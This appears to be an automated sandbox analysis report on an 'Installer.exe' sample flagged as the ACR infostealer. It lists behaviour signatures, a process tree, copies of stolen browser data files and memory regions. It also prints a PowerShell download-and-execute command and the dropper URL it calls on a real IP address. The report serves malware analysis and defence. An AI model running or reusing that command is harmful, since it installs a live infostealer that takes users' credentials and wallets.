Analysis

  • max time kernel
    299s
  • max time network
    211s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20251016-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20251016-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04/11/2025, 14:30

General

  • Target
    Installer.exe
  • Size 646.4MB
  • Sample251104-rvbghsb19d
  • SHA256 aa5168c20c885a7a7778246f9de51f279b04615b8feafba5bccc33cb9ffbf92f
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://87.120.219.26/CCZT7wMNnD29ie

Signatures

  • ACR stealer,GrMsk

    ACR stealer (aka GrMsk stealer) is an infostealer written in C++.

  • Acrstealer family
  • Detects unpacked ACRstealer payload 1 IoCs
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 10 IoCs
  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Installer.exe
    "C:\Users\Admin\AppData\Local\Temp\Installer.exe"
    1⤵
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:5484
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3676
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1664
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe"
      2⤵
        PID:4972
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
        2⤵
          PID:3420
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe"
          2⤵
            PID:1472
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
            2⤵
              PID:1924
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe"
              2⤵
                PID:1808
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
                2⤵
                  PID:5960
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "IEX (New-Object Net.WebClient).DownloadString('http://87.120.219.26/CCZT7wMNnD29ie')"
                  2⤵
                  • Badlisted process makes network request
                  • Command and Scripting Interpreter: PowerShell
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of AdjustPrivilegeToken
                  PID:912
                • C:\Windows\SysWOW64\rundll32.exe
                  "C:\Windows\SysWOW64\rundll32.exe"
                  2⤵
                  • System Location Discovery: System Language Discovery
                  PID:3292
                • C:\Windows\SysWOW64\rundll32.exe
                  "C:\Windows\SysWOW64\rundll32.exe"
                  2⤵
                  • System Location Discovery: System Language Discovery
                  PID:1960
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -u -p 1960 -s 616
                    3⤵
                    • Program crash
                    PID:3484
              • C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
                "C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
                1⤵
                  PID:1348
                • C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"
                  1⤵
                    PID:1304
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 1960 -ip 1960
                    1⤵
                      PID:4964

                    Network

                          MITRE ATT&CK Enterprise v16

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          Cookies

                          • Path C:\Users\Admin\AppData\Local\Temp\Cookies
                          • Size 20KB
                          • SHA256 23f6594ea1fbda627a2c86026dbcc8399af31178eba65cda160487b88033737e
                          • MD5 SHA1 SHA512 SSDEEP

                          Cookies

                          • Path C:\Users\Admin\AppData\Local\Temp\Cookies
                          • Size 20KB
                          • SHA256 bad80b2faad6a510d02fd9462c2d04dfa53742c377b316ba42c1a3c4209e1bc9
                          • MD5 SHA1 SHA512 SSDEEP

                          Login Data

                          • Path C:\Users\Admin\AppData\Local\Temp\Login Data
                          • Size 40KB
                          • SHA256 c007da2e5fd780008f28336940b427c3bfd509c72a40bfb7759592149ff3606e
                          • MD5 SHA1 SHA512 SSDEEP

                          Login Data

                          • Path C:\Users\Admin\AppData\Local\Temp\Login Data
                          • Size 56KB
                          • SHA256 bb923abf471bb79086ff9ace293602e1ad882d9af7946dda17ff1c3a7e19f45b
                          • MD5 SHA1 SHA512 SSDEEP

                          Web Data

                          • Path C:\Users\Admin\AppData\Local\Temp\Web Data
                          • Size 228KB
                          • SHA256 1bc6d99f31bf5430924886ae1c0b146b1b273e2a60a986986fa0ce3063838c01
                          • MD5 SHA1 SHA512 SSDEEP

                          Web Data

                          • Path C:\Users\Admin\AppData\Local\Temp\Web Data
                          • Size 228KB
                          • SHA256 3a07b3003758a79a574aa73032076567870389751f2a959537257070da3a10d8
                          • MD5 SHA1 SHA512 SSDEEP

                          __PSScriptPolicyTest_jb1iwqnj.czh.ps1

                          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jb1iwqnj.czh.ps1
                          • Size 60B
                          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                          • MD5 SHA1 SHA512

                          memory/912-1798-0x0000000005F40000-0x0000000005F5E000-memory.dmp

                          memory/912-1991-0x000000000D3E0000-0x000000000D984000-memory.dmp

                          memory/912-1985-0x0000000006450000-0x000000000646A000-memory.dmp

                          memory/912-1797-0x0000000005940000-0x0000000005C94000-memory.dmp

                          memory/912-1984-0x00000000075D0000-0x0000000007C4A000-memory.dmp

                          memory/912-1789-0x00000000058D0000-0x0000000005936000-memory.dmp

                          memory/912-1788-0x0000000005860000-0x00000000058C6000-memory.dmp

                          memory/912-1787-0x0000000004F80000-0x0000000004FA2000-memory.dmp

                          memory/912-1799-0x0000000005F80000-0x0000000005FCC000-memory.dmp

                          memory/912-1771-0x0000000004A40000-0x0000000004A50000-memory.dmp

                          memory/912-1990-0x000000000CD20000-0x000000000CD42000-memory.dmp

                          memory/912-1986-0x0000000004A40000-0x0000000004A50000-memory.dmp

                          memory/912-1989-0x000000000CD90000-0x000000000CE26000-memory.dmp

                          memory/912-1778-0x0000000005080000-0x00000000056A8000-memory.dmp

                          memory/912-1769-0x0000000004A40000-0x0000000004A50000-memory.dmp

                          memory/912-1987-0x0000000004A40000-0x0000000004A50000-memory.dmp

                          memory/912-1770-0x00000000028E0000-0x0000000002916000-memory.dmp

                          memory/1472-1734-0x0000026F439B0000-0x0000026F439B2000-memory.dmp

                          memory/1664-1727-0x00000198CD630000-0x00000198CD632000-memory.dmp

                          memory/1808-1763-0x000001F84ED00000-0x000001F84ED02000-memory.dmp

                          memory/1924-1737-0x000001DD011D0000-0x000001DD011D2000-memory.dmp

                          memory/1960-1784-0x00000000033B0000-0x00000000039C0000-memory.dmp

                          memory/1960-1780-0x00000000033B0000-0x00000000039C0000-memory.dmp

                          memory/1960-1779-0x0000000000D30000-0x0000000000D33000-memory.dmp

                          memory/1960-1785-0x00000000033B0000-0x00000000039C0000-memory.dmp

                          memory/1960-1786-0x00000000033B0000-0x00000000039C0000-memory.dmp

                          memory/3292-1773-0x0000000000630000-0x0000000000682000-memory.dmp

                          memory/3292-1777-0x0000000000110000-0x000000000015C000-memory.dmp

                          memory/3292-1772-0x0000000000620000-0x0000000000623000-memory.dmp

                          memory/3420-1731-0x00000234DB980000-0x00000234DB982000-memory.dmp

                          memory/3676-1657-0x000001D813C60000-0x000001D813C62000-memory.dmp

                          memory/4972-1728-0x000001964AB10000-0x000001964AB12000-memory.dmp

                          memory/5484-1192-0x0000000002FB0000-0x0000000002FF2000-memory.dmp

                          memory/5484-1178-0x0000000002FB0000-0x0000000002FF2000-memory.dmp

                          memory/5484-1059-0x000000007F200000-0x000000007F201000-memory.dmp

                          memory/5484-1057-0x0000000002FB0000-0x0000000002FF2000-memory.dmp

                          memory/5484-1054-0x000000007F200000-0x000000007F201000-memory.dmp

                          memory/5484-1051-0x000000007F200000-0x000000007F201000-memory.dmp

                          memory/5484-1048-0x000000007F200000-0x000000007F201000-memory.dmp

                          memory/5484-1046-0x000000007F200000-0x000000007F201000-memory.dmp

                          memory/5484-1045-0x000000007F200000-0x000000007F201000-memory.dmp

                          memory/5484-1307-0x000000007F3B0000-0x000000007F3B1000-memory.dmp

                          memory/5484-1294-0x000000007F380000-0x000000007F39C000-memory.dmp

                          memory/5484-1308-0x00000000033C0000-0x00000000033C3000-memory.dmp

                          memory/5484-1355-0x00000000034D0000-0x00000000034EA000-memory.dmp

                          memory/5484-1073-0x0000000002FB0000-0x0000000002FF2000-memory.dmp

                          memory/5484-1080-0x0000000002FB0000-0x0000000002FF2000-memory.dmp

                          memory/5484-1087-0x0000000002FB0000-0x0000000002FF2000-memory.dmp

                          memory/5484-1094-0x0000000002FB0000-0x0000000002FF2000-memory.dmp

                          memory/5484-1101-0x0000000002FB0000-0x0000000002FF2000-memory.dmp

                          memory/5484-1108-0x0000000002FB0000-0x0000000002FF2000-memory.dmp

                          memory/5484-1122-0x0000000002FB0000-0x0000000002FF2000-memory.dmp

                          memory/5484-1129-0x0000000002FB0000-0x0000000002FF2000-memory.dmp

                          memory/5484-1136-0x0000000002FB0000-0x0000000002FF2000-memory.dmp

                          memory/5484-1143-0x0000000002FB0000-0x0000000002FF2000-memory.dmp

                          memory/5484-1150-0x0000000002FB0000-0x0000000002FF2000-memory.dmp

                          memory/5484-1157-0x0000000002FB0000-0x0000000002FF2000-memory.dmp

                          memory/5484-1164-0x0000000002FB0000-0x0000000002FF2000-memory.dmp

                          memory/5484-1-0x000000007F200000-0x000000007F201000-memory.dmp

                          memory/5484-1171-0x0000000002FB0000-0x0000000002FF2000-memory.dmp

                          memory/5484-1066-0x0000000002FB0000-0x0000000002FF2000-memory.dmp

                          memory/5484-1185-0x0000000002FB0000-0x0000000002FF2000-memory.dmp

                          memory/5484-0-0x0000000002FB0000-0x0000000002FF2000-memory.dmp

                          memory/5484-1199-0x0000000002FB0000-0x0000000002FF2000-memory.dmp

                          memory/5484-1206-0x0000000002FB0000-0x0000000002FF2000-memory.dmp

                          memory/5484-1213-0x0000000002FB0000-0x0000000002FF2000-memory.dmp

                          memory/5484-1220-0x0000000002FB0000-0x0000000002FF2000-memory.dmp

                          memory/5484-1227-0x0000000002FB0000-0x0000000002FF2000-memory.dmp

                          memory/5484-1234-0x0000000002FB0000-0x0000000002FF2000-memory.dmp

                          memory/5484-1241-0x0000000002FB0000-0x0000000002FF2000-memory.dmp

                          memory/5484-1248-0x0000000002FB0000-0x0000000002FF2000-memory.dmp

                          memory/5484-1259-0x0000000002FB0000-0x0000000002FF2000-memory.dmp

                          memory/5484-1266-0x0000000002FB0000-0x0000000002FF2000-memory.dmp

                          memory/5484-1273-0x0000000002FB0000-0x0000000002FF2000-memory.dmp

                          memory/5484-1281-0x0000000002FB0000-0x0000000002FF2000-memory.dmp

                          memory/5484-1115-0x0000000002FB0000-0x0000000002FF2000-memory.dmp

                          memory/5484-511-0x0000000077A02000-0x0000000077A03000-memory.dmp

                          memory/5484-23-0x000000007F200000-0x000000007F201000-memory.dmp

                          memory/5484-4-0x000000007F200000-0x000000007F201000-memory.dmp

                          memory/5484-6-0x000000007F200000-0x000000007F201000-memory.dmp

                          memory/5484-7-0x000000007F200000-0x000000007F201000-memory.dmp

                          memory/5484-9-0x000000007F200000-0x000000007F201000-memory.dmp

                          memory/5484-11-0x000000007F200000-0x000000007F201000-memory.dmp

                          memory/5484-15-0x000000007F200000-0x000000007F201000-memory.dmp

                          memory/5960-1766-0x000001FBB4710000-0x000001FBB4712000-memory.dmp